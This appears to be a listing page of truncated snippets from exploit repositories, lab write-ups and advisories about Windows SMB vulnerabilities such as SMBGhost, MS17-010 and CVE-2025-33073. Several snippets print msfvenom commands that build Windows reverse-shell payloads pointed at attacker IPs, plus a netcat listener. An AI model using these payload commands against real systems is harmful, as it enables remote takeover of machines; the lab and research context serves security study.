CVE-2022-24500

CVE-2022-24500 RCE Exploit Windows SMB Remote Code Execution Vulnerability Vulnerability: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 step 1 msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw shellcode.bin step 2 msf5...

SMBGhost-LPE-Metasploit-Module

SMBGhost-LPE-Metasploit-Module This is an implementation of the CVE-2020-0796 aka SMBGhost vulnerability, compatible with the Metasploit Framework Notes: This module made to be used when you have a valid shell to escalate your privileges. You can change the payload, if you want to have your custo...

SMBGhost_RCE_PoC

SMBGhostRCEPoC RCE PoC for CVE-2020-0796 "SMBGhost" For demonstration purposes only! Only use this a reference. Seriously. This has not been tested outside of my lab environment. It was written quickly and needs some work to be more reliable. Sometimes you BSOD. Using this for any purpose other...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker Using msfvenom to Generate a Payload: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: Specifies the payload a reverse TCP shell for Windows. LHOST=10.10.14.4: The attacker's IP...

SMB-Protocol-Vulnerability_CVE-2017-0144

LAB: ATTACKING THE WINDOWS OPERATING SYSTEM VIA THE SMB PROTOCOL VULNERABILITY. 1. DESCRIPTION 2. GENERAL INTRODUCTION 3. PREPARATION 4. PERFORMING THE ATTACK 5. HOW TO PREVENT 1. DESCRIPTION In this lab, we will use two computers to simulate an attack based on a vulnerability in the SMB...

CVE-2020-0796

CVE-2020-0796 CVE-2020-0796 explanation and researching vulnerability for term porject CENG325 for beginners How to exploit? Userpayload generation for reverse shell: msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python listening port: nc -lvnp 5555 exploi...

Vulnerability-Research-CVE-2017-0144

Vulnerability-Research-CVE-2017-0144 LAB: ATTACK ON WINDOWS OPERATING SYSTEM BASED ON SMB PROTOCOL VULNERABILITY. I. DESCRIPTION In this lab, we will use two computers to simulate an attack based on a vulnerability in the SMB protocol of the Windows operating system. One machine runs Kali Linux,...

windows-smb-vulnerability-framework-cve-2025-33073

Windows SMB Client Vulnerability Research Framework Author: cyberseallll Created: 2025 Overview I developed this research framework to analyze and understand CVE-2025-33073, a critical Windows SMB Client Elevation of Privilege vulnerability. This implementation provides comprehensive tools for...

CVE-2022-26937

Windows Network File System Crash PoC CVE-2022-26937 nt!KeBugCheckEx: fffff8038996efa0 48894c2408 mov qword ptr rsp+8,rcx ss:0018:ffffd000d589ae60=0000000000000139 1: kd !analyze -v Bugcheck Analysis KERNELSECURITYCHECKFAILURE 139 A kernel component has corrupted a critical data structure. The...

Blackash-CVE-2025-33073

✨ CVE-2025-33073: Windows SMB RCE Vulnerability 🚨 🔥 High-Severity Authenticated Remote Code Execution 🔥 Improper Access Control in Windows SMB Client CWE-284 🛡️ Key Details at a Glance Aspect| Details ---|--- CVSS v3.1 Score| 8.8 High 🔥 Affected Systems| Windows 10, 11, Server 2012–2025 all...

CVE-2025-33073

CVE-2025-33073 — Windows SMB Client NTLM Reflection EoP Research writeup by Sentinel AI Defense. Defensive analysis only — no working exploit or PoC is published here. An improper access control flaw in the Windows SMB Client that revives NTLM reflection techniques thought to be mitigated — letti...

CVE-2026-72936

Use after free in Windows SMB Client allows an unauthorized attacker to execute code over a network...

CVE-2026-69618

Out-of-bounds read in Windows SMB Client allows an authorized attacker to disclose information locally...

CVE-2026-69572

Out-of-bounds read in Windows SMB Client allows an authorized attacker to disclose information over a network...

CVE-2026-69544

Heap-based buffer overflow in Windows SMB Client allows an authorized attacker to elevate privileges locally...

CVE-2026-69403

Missing authorization in Windows SMB Server allows an authorized attacker to disclose information locally...

CVE-2026-69374

Allocation of resources without limits or throttling in Windows SMB Server allows an authorized attacker to deny service over a network...

EUVD-2026-73664

Use after free in Windows SMB Client allows an unauthorized attacker to execute code over a network...

CVE-2026-72936

CVE-2026-72936 is a use-after-free vulnerability in the Windows SMB Client that allows an unauthorized, remote attacker to achieve remote code execution over the network. The CVSS 3.1 base score is 8.1 (HIGH) , reflecting a network attack vector with high complexity, no required privileges, and n...

CVE-2026-69618

CVE-2026-69618 is an out-of-bounds read in the Windows SMB Client that allows an authorized local attacker to disclose information . The CVSS 3.1 score is 5.5 (MEDIUM) with a local attack vector, low complexity, low privileges required, and high confidentiality impact but no integrity or availabi...